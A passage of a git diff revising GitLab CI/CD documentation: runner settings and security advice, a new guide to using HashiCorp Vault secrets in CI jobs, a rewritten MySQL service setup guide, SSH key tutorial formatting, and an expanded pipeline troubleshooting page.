([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. +Specific runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. NOTE: **Note:** -Specific Runners do not get shared with forked projects automatically. +Specific runners do not get shared with forked projects automatically. A fork *does* copy the CI / CD settings of the cloned repository. -#### Create a specific Runner +#### Create a specific runner -You can create a specific Runner for your self-managed GitLab instance or for GitLab.com. +You can create a specific runner for your self-managed GitLab instance or for GitLab.com. You must have [Owner permissions](../../user/permissions.md#project-members-permissions) for the project. -To create a specific Runner: +To create a specific runner: -1. [Install Runner](https://docs.gitlab.com/runner/install/). +1. [Install runner](https://docs.gitlab.com/runner/install/). 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. 1. Note the URL and token. -1. [Register the Runner](https://docs.gitlab.com/runner/register/). +1. [Register the runner](https://docs.gitlab.com/runner/register/). -#### Enable a specific Runner for a specific project +#### Enable a specific runner for a specific project -A specific Runner is available in the project it was created for. An administrator can -enable a specific Runner to apply to additional projects. +A specific runner is available in the project it was created for. An administrator can +enable a specific runner to apply to additional projects. - You must have Owner permissions for the project. -- The specific Runner must not be [locked](#prevent-a-specific-runner-from-being-enabled-for-other-projects). +- The specific runner must not be [locked](#prevent-a-specific-runner-from-being-enabled-for-other-projects). -To enable or disable a specific Runner for a project: +To enable or disable a specific runner for a project: 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. 1. Click **Enable for this project** or **Disable for this project**. -#### Prevent a specific Runner from being enabled for other projects +#### Prevent a specific runner from being enabled for other projects -You can configure a specific Runner so it is "locked" and cannot be enabled for other projects. -This setting can be enabled when you first [register a Runner](https://docs.gitlab.com/runner/register/), +You can configure a specific runner so it is "locked" and cannot be enabled for other projects. +This setting can be enabled when you first [register a runner](https://docs.gitlab.com/runner/register/), but can also be changed later. -To lock or unlock a Runner: +To lock or unlock a runner: 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Find the Runner you want to lock or unlock. Make sure it's enabled. +1. Find the runner you want to lock or unlock. Make sure it's enabled. 1. Click the pencil button. 1. Check the **Lock to current projects** option. 1. Click **Save changes**. -## Manually clear the Runner cache +## Manually clear the runner cache Read [clearing the cache](../caching/index.md#clearing-the-cache). -## Set maximum job timeout for a Runner +## Set maximum job timeout for a runner -For each Runner, you can specify a *maximum job timeout*. This timeout, +For each runner, you can specify a *maximum job timeout*. This timeout, if smaller than the [project defined timeout](../pipelines/settings.md#timeout), takes precedence. -This feature can be used to prevent your shared Runner from being overwhelmed +This feature can be used to prevent your shared runner from being overwhelmed by a project that has jobs with a long timeout (for example, one week). -When not configured, Runners do not override the project timeout. +When not configured, runners do not override the project timeout. How this feature works: **Example 1 - Runner timeout bigger than project timeout** -1. You set the _maximum job timeout_ for a Runner to 24 hours +1. You set the _maximum job timeout_ for a runner to 24 hours 1. You set the _CI/CD Timeout_ for a project to **2 hours** 1. You start a job 1. The job, if running longer, will be timed out after **2 hours** **Example 2 - Runner timeout not configured** -1. You remove the _maximum job timeout_ configuration from a Runner +1. You remove the _maximum job timeout_ configuration from a runner 1. You set the _CI/CD Timeout_ for a project to **2 hours** 1. You start a job 1. The job, if running longer, will be timed out after **2 hours** **Example 3 - Runner timeout smaller than project timeout** -1. You set the _maximum job timeout_ for a Runner to **30 minutes** +1. You set the _maximum job timeout_ for a runner to **30 minutes** 1. You set the _CI/CD Timeout_ for a project to 2 hours 1. You start a job 1. The job, if running longer, will be timed out after **30 minutes** ## Be careful with sensitive information -With some [Runner Executors](https://docs.gitlab.com/runner/executors/README.html), -if you can run a job on the Runner, you can get full access to the file system, -and thus any code it runs as well as the token of the Runner. With shared Runners, this means that anyone -that runs jobs on the Runner, can access anyone else's code that runs on the -Runner. +With some [runner executors](https://docs.gitlab.com/runner/executors/README.html), +if you can run a job on the runner, you can get full access to the file system, +and thus any code it runs as well as the token of the runner. With shared runners, this means that anyone +that runs jobs on the runner, can access anyone else's code that runs on the +runner. -In addition, because you can get access to the Runner token, it is possible -to create a clone of a Runner and submit false jobs, for example. +In addition, because you can get access to the runner token, it is possible +to create a clone of a runner and submit false jobs, for example. -The above is easily avoided by restricting the usage of shared Runners +The above is easily avoided by restricting the usage of shared runners on large public GitLab instances, controlling access to your GitLab instance, -and using more secure [Runner Executors](https://docs.gitlab.com/runner/executors/README.html). +and using more secure [runner executors](https://docs.gitlab.com/runner/executors/README.html). -### Prevent Runners from revealing sensitive information +### Prevent runners from revealing sensitive information > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13194) in GitLab 10.0. -You can protect Runners so they don't reveal sensitive information. -When a Runner is protected, the Runner picks jobs created on +You can protect runners so they don't reveal sensitive information. +When a runner is protected, the runner picks jobs created on [protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md) only, and ignores other jobs. -To protect or unprotect a Runner: +To protect or unprotect a runner: 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Find the Runner you want to protect or unprotect. Make sure it's enabled. +1. Find the runner you want to protect or unprotect. Make sure it's enabled. 1. Click the pencil button. 1. Check the **Protected** option. 1. Click **Save changes**. - + ### Forks Whenever a project is forked, it copies the settings of the jobs that relate -to it. This means that if you have shared Runners set up for a project and -someone forks that project, the shared Runners serve jobs of this project. +to it. This means that if you have shared runners set up for a project and +someone forks that project, the shared runners serve jobs of this project. -### Attack vectors in Runners +### Attack vectors in runners -Mentioned briefly earlier, but the following things of Runners can be exploited. +Mentioned briefly earlier, but the following things of runners can be exploited. We're always looking for contributions that can mitigate these [Security Considerations](https://docs.gitlab.com/runner/security/). -### Reset the Runner registration token for a project +### Reset the runner registration token for a project If you think that a registration token for a project was revealed, you should -reset it. A token can be used to register another Runner for the project. That new Runner +reset it. A token can be used to register another runner for the project. That new runner may then be used to obtain the values of secret variables or to clone project code. To reset the token: @@ -353,105 +353,109 @@ To reset the token: and check the registration token - it should be changed. From now on the old token is no longer valid and does not register -any new Runners to the project. If you are using any tools to provision and -register new Runners, the tokens used in those tools should be updated to reflect the +any new runners to the project. If you are using any tools to provision and +register new runners, the tokens used in those tools should be updated to reflect the value of the new token. -## Determine the IP address of a Runner +## Determine the IP address of a runner > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17286) in GitLab 10.6. -It may be useful to know the IP address of a Runner so you can troubleshoot -issues with that Runner. GitLab stores and displays the IP address by viewing +It may be useful to know the IP address of a runner so you can troubleshoot +issues with that runner. GitLab stores and displays the IP address by viewing the source of the HTTP requests it makes to GitLab when polling for jobs. The -IP address is always kept up to date so if the Runner IP changes it will be +IP address is always kept up to date so if the runner IP changes it will be automatically updated in GitLab. -The IP address for shared Runners and specific Runners can be found in +The IP address for shared runners and specific runners can be found in different places. -### Determine the IP address of a shared Runner +### Determine the IP address of a shared runner -To view the IP address of a shared Runner you must have admin access to +To view the IP address of a shared runner you must have admin access to the GitLab instance. To determine this: 1. Visit **Admin Area > Overview > Runners**. -1. Look for the Runner in the table and you should see a column for **IP Address**. +1. Look for the runner in the table and you should see a column for **IP Address**. - + -### Determine the IP address of a specific Runner +### Determine the IP address of a specific runner -To can find the IP address of a Runner for a specific project, +To can find the IP address of a runner for a specific project, you must have Owner [permissions](../../user/permissions.md#project-members-permissions) for the project. 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. 1. On the details page you should see a row for **IP Address**. - + -## Use tags to limit the number of jobs using the Runner +## Use tags to limit the number of jobs using the runner -You must set up a Runner to be able to run all the different types of jobs +You must set up a runner to be able to run all the different types of jobs that it may encounter on the projects it's shared over. This would be problematic for large amounts of projects, if it weren't for tags. -By tagging a Runner for the types of jobs it can handle, you can make sure -shared Runners will [only run the jobs they are equipped to run](../yaml/README.md#tags). +By tagging a runner for the types of jobs it can handle, you can make sure +shared runners will [only run the jobs they are equipped to run](../yaml/README.md#tags). -For instance, at GitLab we have Runners tagged with `rails` if they contain +For instance, at GitLab we have runners tagged with `rails` if they contain the appropriate dependencies to run Rails test suites. -When you [register a Runner](https://docs.gitlab.com/runner/register/), its default behavior is to **only pick** +When you [register a runner](https://docs.gitlab.com/runner/register/), its default behavior is to **only pick** [tagged jobs](../yaml/README.md#tags). To change this, you must have Owner [permissions](../../user/permissions.md#project-members-permissions) for the project. -To make a Runner pick untagged jobs: +To make a runner pick untagged jobs: 1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. -1. Find the Runner you want to pick untagged jobs and make sure it's enabled. +1. Find the runner you want to pick untagged jobs and make sure it's enabled. 1. Click the pencil button. 1. Check the **Run untagged jobs** option. 1. Click the **Save changes** button for the changes to take effect. NOTE: **Note:** -The Runner tags list can not be empty when it's not allowed to pick untagged jobs. +The runner tags list can not be empty when it's not allowed to pick untagged jobs. Below are some example scenarios of different variations. -### Runner runs only tagged jobs +### runner runs only tagged jobs -The following examples illustrate the potential impact of the Runner being set +The following examples illustrate the potential impact of the runner being set to run only tagged jobs. Example 1: -1. The Runner is configured to run only tagged jobs and has the `docker` tag. +1. The runner is configured to run only tagged jobs and has the `docker` tag. 1. A job that has a `hello` tag is executed and stuck. Example 2: -1. The Runner is configured to run only tagged jobs and has the `docker` tag. +1. The runner is configured to run only tagged jobs and has the `docker` tag. 1. A job that has a `docker` tag is executed and run. Example 3: -1. The Runner is configured to run only tagged jobs and has the `docker` tag. +1. The runner is configured to run only tagged jobs and has the `docker` tag. 1. A job that has no tags defined is executed and stuck. -### Runner is allowed to run untagged jobs +### runner is allowed to run untagged jobs -The following examples illustrate the potential impact of the Runner being set +The following examples illustrate the potential impact of the runner being set to run tagged and untagged jobs. Example 1: -1. The Runner is configured to run untagged jobs and has the `docker` tag. +1. The runner is configured to run untagged jobs and has the `docker` tag. 1. A job that has no tags defined is executed and run. 1. A second job that has a `docker` tag defined is executed and run. Example 2: -1. The Runner is configured to run untagged jobs and has no tags defined. +1. The runner is configured to run untagged jobs and has no tags defined. 1. A job that has no tags defined is executed and run. 1. A second job that has a `docker` tag defined is stuck. + +## System calls not available on GitLab.com shared runners + +GitLab.com shared runners run on CoreOS. This means that you cannot use some system calls, like `getlogin`, from the C standard library. diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md new file mode 100644 index 00000000000..6d561fe00a3 --- /dev/null +++ b/doc/ci/secrets/index.md @@ -0,0 +1,157 @@ +--- +stage: Release +group: Release Management +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +type: concepts, howto +--- + +# Using external secrets in CI + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218746) in GitLab 13.4 and GitLab Runner 13.4. + +Secrets represent sensitive information your CI job needs to complete work. This +sensitive information can be items like API tokens, database credentials, or private keys. +Secrets are sourced from your secrets provider. + +Unlike CI variables, which are always presented to a job, secrets must be explicitly +required by a job. Read [GitLab CI/CD pipeline configuration reference](../yaml/README.md#secrets) +for more information about the syntax. + +GitLab has selected [Vault by Hashicorp](https://www.vaultproject.io) as the +first supported provider, and [KV-V2](https://www.vaultproject.io/docs/secrets/kv/kv-v2) +as the first supported secrets engine. + +GitLab authenticates using Vault's +[JWT Auth method](https://www.vaultproject.io/docs/auth/jwt#jwt-authentication), using +the [JSON Web Token](https://gitlab.com/gitlab-org/gitlab/-/issues/207125) (`CI_JOB_JWT`) +introduced in GitLab 12.10. + +You must [configure your Vault server](#configure-your-vault-server) before you +can use [use Vault secrets in a CI job](#use-vault-secrets-in-a-ci-job). + +NOTE: **Note:** +Read the [Authenticating and Reading Secrets With Hashicorp Vault](../examples/authenticating-with-hashicorp-vault/index.md) +tutorial for a version of this feature that is available to all +subscription levels, supports writing secrets to and deleting secrets from Vault, +and multiple secrets engines. + +## Configure your Vault server + +To configure your Vault server: + +1. Enable the authentication method by running these commands. They provide your Vault + server the [JSON Web Key Set](https://tools.ietf.org/html/rfc7517) (JWKS) endpoint for your GitLab instance, so Vault + can fetch the public signing key and verify the JSON Web Token (JWT) when authenticating: + + ```shell + $ vault auth enable jwt + + $ vault write auth/jwt/config \ + jwks_url="https://gitlab.example.com/-/jwks" \ + bound_issuer="gitlab.example.com" + ``` + +1. Configure policies on your Vault server to grant or forbid access to certain + paths and operations. This example grants read access to the set of secrets + required by your production environment: + + ```shell + vault policy write myproject-production - <<EOF + # Read-only permission on 'ops/data/production/*' path + + path "ops/data/production/*" { + capabilities = [ "read" ] + } + EOF + ``` + +1. Configure roles on your Vault server, restricting roles to a project or namespace, + as described in [Configure Vault server roles](#configure-vault-server-roles) on this page. +1. [Create the following CI variables](../variables/README.md#custom-environment-variables) + to provide details about your Vault server: + - `VAULT_SERVER_URL` - The URL of your Vault server, such as `https://vault.example.com:8200`. + Required. + - `VAULT_AUTH_ROLE` - (Optional) The role to use when attempting to authenticate. + If no role is specified, Vault uses the [default role](https://www.vaultproject.io/api/auth/jwt#default_role) + specified when the authentication method was configured. + - `VAULT_AUTH_PATH` - (Optional) The path where the authentication method is mounted, default is `jwt`. + + NOTE: **Note:** + Support for [providing these values in the user interface](https://gitlab.com/gitlab-org/gitlab/-/issues/218677) + is planned but not yet implemented. + +## Use Vault secrets in a CI job **(PREMIUM)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/28321) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4 and GitLab Runner 13.4. + +After [configuring your Vault server](#configure-your-vault-server), you can use +the secrets stored in Vault by defining them with the `vault` keyword: + +```yaml +secrets: + DATABASE_PASSWORD: + vault: production/db/password@ops # translates to secret `ops/data/production/db`, field `password` +``` + +In this example: + +- `production/db` - The secret. +- `password` The field. +- `ops` - The path where the secrets engine is mounted. + +After GitLab fetches the secret from Vault, the value is saved in a temporary file. +The path to this file is stored in environment variable named `DATABASE_PASSWORD`, +similar to [CI variables of type `file`](../variables/README.md#custom-environment-variables-of-type-file). + +For more information about the supported syntax, read the +[`.gitlab-ci.yml` reference](../yaml/README.md#secretsvault). + +## Configure Vault server roles + +When a CI job attempts to authenticate, it specifies a role. You can use roles to group +different policies together. If authentication is successful, these policies are +attached to the resulting Vault token. + +[Bound claims](https://www.vaultproject.io/docs/auth/jwt#bound-claims) are predefined +values that are matched to the JWT's claims. With bounded claims, you can restrict access +to specific GitLab users, specific projects, or even jobs running for specific Git +references. You can have as many bounded claims you need, but they must *all* match +for authentication to be successful. + +Combining bounded claims with GitLab features like [user roles](../../user/permissions.md) +and [protected branches](../../user/project/protected_branches.md), you can tailor +these rules to fit your specific use case. In this example, authentication is allowed +only for jobs running for protected tags with names matching the pattern used for +production releases: + +```shell +$ vault write auth/jwt/role/myproject-production - <<EOF +{ + "role_type": "jwt", + "policies": ["myproject-production"], + "token_explicit_max_ttl": 60, + "user_claim": "user_email", + "bound_claims_type": "glob", + "bound_claims": { + "project_id": "42", + "ref_protected": "true", + "ref_type": "tag", + "ref": "auto-deploy-*" + } +} +EOF +``` + +CAUTION: **Caution:** +Always restrict your roles to a project or namespace by using one of the provided +claims like `project_id` or `namespace_id`. Without these restrictions, any JWT +generated by this GitLab instance may be allowed to authenticate using this role. + +For a full list of `CI_JOB_JWT` claims, read the +[How it works](../examples/authenticating-with-hashicorp-vault/index.md#how-it-works) section of the +[Authenticating and Reading Secrets With Hashicorp Vault](../examples/authenticating-with-hashicorp-vault/index.md) tutorial. + +You can also specify some attributes for the resulting Vault tokens, such as time-to-live, +IP address range, and number of uses. The full list of options is available in +[Vault's documentation on creating roles](https://www.vaultproject.io/api/auth/jwt#create-role) +for the JSON web token method. diff --git a/doc/ci/services/mysql.md b/doc/ci/services/mysql.md index 1b017111d22..bbab1194191 100644 --- a/doc/ci/services/mysql.md +++ b/doc/ci/services/mysql.md @@ -7,122 +7,123 @@ type: reference # Using MySQL -As many applications depend on MySQL as their database, you will eventually -need it in order for your tests to run. Below you are guided how to do this -with the Docker and Shell executors of GitLab Runner. +Many applications depend on MySQL as their database, and you may +need it for your tests to run. ## Use MySQL with the Docker executor -If you are using [GitLab Runner](../runners/README.md) with the Docker executor -you basically have everything set up already. +If you want to use a MySQL container, you can use [GitLab Runner](../runners/README.md) with the Docker executor. -First, in your `.gitlab-ci.yml` add: +1. [Create variables](../variables/README.md#create-a-custom-variable-in-the-ui) for your + MySQL database and password by going to **Settings > CI/CD**, expanding **Variables**, + and clicking **Add Variable**. -```yaml -services: - - mysql:latest + This example uses `$MYSQL_DB` and `$MYSQL_PASS` as the keys. -variables: - # Configure mysql environment variables (https://hub.docker.com/_/mysql/) - MYSQL_DATABASE: "<your_mysql_database>" - MYSQL_ROOT_PASSWORD: "<your_mysql_password>" -``` +1. To specify a MySQL image, add the following to your `.gitlab-ci.yml` file: -NOTE: **Note:** -The `MYSQL_DATABASE` and `MYSQL_ROOT_PASSWORD` variables can't be set in the GitLab UI. -To set them, assign them to a variable [in the UI](../variables/README.md#create-a-custom-variable-in-the-ui), -and then assign that variable to the -`MYSQL_DATABASE` and `MYSQL_ROOT_PASSWORD` variables in your `.gitlab-ci.yml`. + ```yaml + services: + - mysql:latest + ``` -And then configure your application to use the database, for example: + - You can use any Docker image available on [Docker Hub](https://hub.docker.com/_/mysql/). + For example, to use MySQL 5.5, use `mysql:5.5`. + - The `mysql` image can accept environment variables. For more information, view + the [Docker Hub documentation](https://hub.docker.com/_/mysql/). -```yaml -Host: mysql -User: root -Password: <your_mysql_password> -Database: <your_mysql_database> -``` +1. To include the database name and password, add the following to your `.gitlab-ci.yml` file: -If you are wondering why we used `mysql` for the `Host`, read more at -[How services are linked to the job](../docker/using_docker_images.md#how-services-are-linked-to-the-job). + ```yaml + variables: + # Configure mysql environment variables (https://hub.docker.com/_/mysql/) + MYSQL_DATABASE: $MYSQL_DB + MYSQL_ROOT_PASSWORD: $MYSQL_PASS + ``` -You can also use any other Docker image available on [Docker Hub](https://hub.docker.com/_/mysql/). -For example, to use MySQL 5.5 the service becomes `mysql:5.5`. + The MySQL container uses `MYSQL_DATABASE` and `MYSQL_ROOT_PASSWORD` to connect to the database. + Pass these values by using variables (`$MYSQL_DB` and `$MYSQL_PASS`), + [rather than calling them directly](https://gitlab.com/gitlab-org/gitlab/-/issues/30178). -The `mysql` image can accept some environment variables. For more details -check the documentation on [Docker Hub](https://hub.docker.com/_/mysql/). +1. Configure your application to use the database, for example: + + ```yaml + Host: mysql + User: runner + Password: <your_mysql_password> + Database: <your_mysql_database> + ``` ## Use MySQL with the Shell executor -You can also use MySQL on manually configured servers that are using +You can also use MySQL on manually-configured servers that use GitLab Runner with the Shell executor. -First install the MySQL server: +1. Install the MySQL server: -```shell -sudo apt-get install -y mysql-server mysql-client libmysqlclient-dev -``` + ```shell + sudo apt-get install -y mysql-server mysql-client libmysqlclient-dev + ``` -Pick a MySQL root password (can be anything), and type it twice when asked. +1. Choose a MySQL root password and type it twice when asked. -*Note: As a security measure you can run `mysql_secure_installation` to -remove anonymous users, drop the test database and disable remote logins with -the root user.* + NOTE: **Note:** + As a security measure, you can run `mysql_secure_installation` to + remove anonymous users, drop the test database, and disable remote logins by + the root user. -The next step is to create a user, so login to MySQL as root: +1. Create a user by logging in to MySQL as root: -```shell -mysql -u root -p -``` + ```shell + mysql -u root -p + ``` -Then create a user (in our case `runner`) which will be used by your -application. Change `$password` in the command below to a real strong password. +1. Create a user (in this case, `runner`) that will be used by your + application. Change `$password` in the command to a strong password. -*Note: Do not type `mysql>`, this is part of the MySQL prompt.* + At the `mysql>` prompt, type: -```shell -mysql> CREATE USER 'runner'@'localhost' IDENTIFIED BY '$password'; -``` + ```sql + CREATE USER 'runner'@'localhost' IDENTIFIED BY '$password'; + ``` -Create the database: +1. Create the database: -```shell -mysql> CREATE DATABASE IF NOT EXISTS `<your_mysql_database>` DEFAULT CHARACTER SET `utf8` COLLATE `utf8_unicode_ci`; -``` + ```sql + CREATE DATABASE IF NOT EXISTS `<your_mysql_database>` DEFAULT CHARACTER SET `utf8` \ + COLLATE `utf8_unicode_ci`; + ``` -Grant the necessary permissions on the database: +1. Grant the necessary permissions on the database: -```shell -mysql> GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, CREATE TEMPORARY TABLES, DROP, INDEX, ALTER, LOCK TABLES ON `<your_mysql_database>`.* TO 'runner'@'localhost'; -``` + ```sql + GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, CREATE TEMPORARY TABLES, DROP, INDEX, ALTER, LOCK TABLES ON `<your_mysql_database>`.* TO 'runner'@'localhost'; + ``` -If all went well you can now quit the database session: +1. If all went well, you can quit the database session: -```shell -mysql> \q -``` + ```shell + \q + ``` -Now, try to connect to the newly created database to check that everything is -in place: +1. Connect to the newly-created database to check that everything is + in place: -```shell -mysql -u runner -p -D <your_mysql_database> -``` + ```shell + mysql -u runner -p -D <your_mysql_database> + ``` -As a final step, configure your application to use the database, for example: +1. Configure your application to use the database, for example: -```shell -Host: localhost -User: runner -Password: $password -Database: <your_mysql_database> -``` + ```shell + Host: localhost + User: runner + Password: $password + Database: <your_mysql_database> + ``` ## Example project -We have set up an [Example MySQL Project](https://gitlab.com/gitlab-examples/mysql) for your -convenience that runs on [GitLab.com](https://gitlab.com) using our publicly -available [shared runners](../runners/README.md). - -Want to hack on it? Simply fork it, commit and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +To view a MySQL example, create a fork of this [sample project](https://gitlab.com/gitlab-examples/mysql). +This project uses publicly-available [shared runners](../runners/README.md) on [GitLab.com](https://gitlab.com). +Update the README.md file, commit your changes, and view the CI/CD pipeline to see it in action. diff --git a/doc/ci/ssh_keys/README.md b/doc/ci/ssh_keys/README.md index b1847ffbc60..d8280316f19 100644 --- a/doc/ci/ssh_keys/README.md +++ b/doc/ci/ssh_keys/README.md @@ -2,7 +2,6 @@ stage: Verify group: Continuous Integration info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -last_updated: 2017-12-13 type: tutorial --- @@ -91,8 +90,8 @@ to access it. This is where an SSH key pair comes in handy. ## Optionally, if you will be using any Git commands, set the user name and ## and email. ## - #- git config --global user.email "user@example.com" - #- git config --global user.name "User name" + # - git config --global user.email "user@example.com" + # - git config --global user.name "User name" ``` NOTE: **Note:** @@ -193,8 +192,8 @@ before_script: ## Replace example.com with your private server's domain name. Repeat that ## command if you have more than one server to connect to. ## - #- ssh-keyscan example.com >> ~/.ssh/known_hosts - #- chmod 644 ~/.ssh/known_hosts + # - ssh-keyscan example.com >> ~/.ssh/known_hosts + # - chmod 644 ~/.ssh/known_hosts ## ## You can optionally disable host key checking. Be aware that by adding that @@ -202,7 +201,7 @@ before_script: ## WARNING: Use this only with the Docker executor, if you use it with shell ## you will overwrite your user's SSH config. ## - #- '[[ -f /.dockerenv ]] && echo -e "Host *\n\tStrictHostKeyChecking no\n\n" >> ~/.ssh/config' + # - '[[ -f /.dockerenv ]] && echo -e "Host *\n\tStrictHostKeyChecking no\n\n" >> ~/.ssh/config' ``` ## Example project diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md index 96d94a6c165..992b51b6b3d 100644 --- a/doc/ci/troubleshooting.md +++ b/doc/ci/troubleshooting.md @@ -7,49 +7,240 @@ type: reference # Troubleshooting CI/CD -## Pipeline warnings +GitLab provides several tools to help make troubleshooting your pipelines easier. -Pipeline configuration warnings are shown when you: +This guide also lists common issues and possible solutions. -- [View pipeline details](pipelines/index.md#view-pipelines). -- [Validate configuration with the CI Lint tool](yaml/README.md#validate-the-gitlab-ciyml). -- [Manually run a pipeline](pipelines/index.md#run-a-pipeline-manually). +## Verify syntax -### "Job may allow multiple pipelines to run for a single action" +An early source of problems can be incorrect syntax. The pipeline shows a `yaml invalid` +badge and does not start running if any syntax or formatting problems are found. -When you use [`rules`](yaml/README.md#rules) with a `when:` clause without -an `if:` clause, multiple pipelines may run. Usually -this occurs when you push a commit to a branch that has an open merge request associated with it. +### Edit `gitlab-ci.yml` with the Web IDE -To [prevent duplicate pipelines](yaml/README.md#prevent-duplicate-pipelines), use -[`workflow: rules`](yaml/README.md#workflowrules) or rewrite your rules -to control which pipelines can run. +The [GitLab Web IDE](../user/project/web_ide/index.md) offers advanced authoring tools, +including syntax highlighting for the `.gitlab-ci.yml`, and is the recommended editing +experience (rather than the single file editor). It offers code completion suggestions +that ensure you are only using accepted keywords. + +If you prefer to use another editor, you can use a schema like [the Schemastore `gitlab-ci` schema](https://json.schemastore.org/gitlab-ci) +with your editor of choice. + +### Verify syntax with CI Lint tool + +The [CI Lint tool](lint.md) is a simple way to ensure the syntax of a CI/CD configuration +file is correct. Paste in full `gitlab-ci.yml` files or individual jobs configuration, +to verify the basic syntax. + +When a `.gitlab-ci.yml` file is present in a project, you can also use the CI Lint +tool to [simulate the creation of a full pipeline](lint.md#pipeline-simulation). +It does deeper verification of the configuration syntax. + +## Verify variables + +A key part of troubleshooting CI/CD is to verify which variables are present in a +pipeline, and what their values are. A lot of pipeline configuration is dependent +on variables, and verifying them is one of the fastest ways to find the source of +a problem. + +[Export the full list of variables](variables/README.md#list-all-environment-variables) +available in each problematic job. Check if the variables you expect are present, +and check if their values are what you expect. + +## GitLab CI/CD documentation + +The [complete `gitlab-ci.yml` reference](yaml/README.md) contains a full list of +every keyword you may need to use to configure your pipelines. + +You can also look at a large number of pipeline configuration [examples](examples/README.md) +and [templates](examples/README.md#cicd-templates). + +### Documentation for pipeline types + +Some pipeline types have their own detailed usage guides that you should read +if you are using that type: + +- [Multi-project pipelines](multi_project_pipelines.md): Have your pipeline trigger + a pipeline in a different project. +- [Parent/child pipelines](parent_child_pipelines.md): Have your main pipeline trigger + and run separate pipelines in the same project. You can also + [dynamically generate the child pipeline's configuration](parent_child_pipelines.md#dynamic-child-pipelines) + at runtime. +- [Pipelines for Merge Requests](merge_request_pipelines/index.md): Run a pipeline + in the context of a merge request. + - [Pipelines for Merge Results](merge_request_pipelines/pipelines_for_merged_results/index.md): + Pipelines for merge requests that run on the combined source and target branch + - [Merge Trains](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md): + Multiple pipelines for merged results that queue and run automatically before + changes are merged. + +### Troubleshooting Guides for CI/CD features + +There are troubleshooting guides available for some CI/CD features and related topics: + +- [Container Registry](../user/packages/container_registry/index.md#troubleshooting-the-gitlab-container-registry) +- [GitLab Runner](https://docs.gitlab.com/runner/faq/) +- [Merge Trains](merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md#troubleshooting) +- [Docker Build](docker/using_docker_build.md#troubleshooting) +- [Environments](environments/deployment_safety.md#ensure-only-one-deployment-job-runs-at-a-time) + +## Common CI/CD issues + +A lot of common pipeline issues can be fixed by analyzing the behavior of the `rules` +or `only/except` configuration. You shouldn't use these two configurations in the same +pipeline, as they behave differently. It's hard to predict how a pipeline runs with +this mixed behavior. + +If your `rules` or `only/except` configuration makes use of [predefined variables](variables/predefined_variables.md) +like `CI_PIPELINE_SOURCE`, `CI_MERGE_REQUEST_ID`, you should [verify them](#verify-variables) +as the first troubleshooting step. + +### Jobs or pipelines don't run when expected + +The `rules` or `only/except` keywords are what determine whether or not a job is +added to a pipeline. If a pipeline runs, but a job is not added to the pipeline, +it's usually due to `rules` or `only/except` configuration issues. + +If a pipeline does not seem to run at all, with no error message, it may also be +due to `rules` or `only/except` configuration, or the `workflow: rules` keyword. + +If you are converting from `only/except` to the `rules` keyword, you should check +the [`rules` configuration details](yaml/README.md#rules) carefully. The behavior +of `only/except` and `rules` is different and can cause unexpected behavior when migrating +between the two. + +The [common `if` clauses for `rules`](yaml/README.md#common-if-clauses-for-rules) +can be very helpful for examples of how to write rules that behave the way you expect. + +#### Two pipelines run at the same time + +Two pipelines can run when pushing a commit to a branch that has an open merge request +associated with it. Usually one pipeline is a merge request pipeline, and the other +is a branch pipeline. -## Merge request pipeline widget +This is usually caused by the `rules` configuration, and there are several ways to +[prevent duplicate pipelines](yaml/README.md#prevent-duplicate-pipelines). -The merge request pipeline widget shows information about the pipeline status in a Merge Request. It's displayed above the [merge request ability to merge widget](#merge-request-ability-to-merge-widget). +#### A job is not in the pipeline -There are several messages that can be displayed depending on the status of the pipeline. +GitLab determines if a job is added to a pipeline based on the [`only/except`](yaml/README.md#onlyexcept-basic) +or [`rules`](yaml/README.md#rules) defined for the job. If it didn't run, it's probably +not evaluating as you expect. -### "Checking pipeline status" +#### No pipeline or the wrong type of pipeline runs -This message is shown when the merge request has no pipeline associated with the latest commit yet. This might be because: +Before a pipeline can run, GitLab evaluates all the jobs in the configuration and tries +to add them to all available pipeline types. A pipeline does not run if no jobs are added +to it at the end of the evaluation. + +If a pipeline did not run, it's likely that all the jobs had `rules` or `only/except` that +blocked them from being added to the pipeline. + +If the wrong pipeline type ran, then the `rules` or `only/except` configuration should +be checked to make sure the jobs are added to the correct pipeline type. For +example, if a merge request pipeline did not run, the jobs may have been added to +a branch pipeline instead. + +It's also possible that your [`workflow: rules`](yaml/README.md#workflowrules) configuration +blocked the pipeline, or allowed the wrong pipeline type. + +### A job runs unexpectedly + +A common reason a job is added to a pipeline unexpectedly is because the `changes` +keyword always evaluates to true in certain cases. For example, `changes` is always +true in certain pipeline types, including scheduled pipelines and pipelines for tags. + +The `changes` keyword is used in combination with [`only/except`](yaml/README.md#onlychangesexceptchanges) +or [`rules`](yaml/README.md#ruleschanges)). It's recommended to use `changes` with +`rules` or `only/except` configuration that ensures the job is only added to branch +pipelines or merge request pipelines. + +### "fatal: reference is not a tree" error + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17043) in GitLab 12.4. + +Previously, you'd have encountered unexpected pipeline failures when you force-pushed +a branch to its remote repository. To illustrate the problem, suppose you've had the current workflow: + +1. A user creates a feature branch named `example` and pushes it to a remote 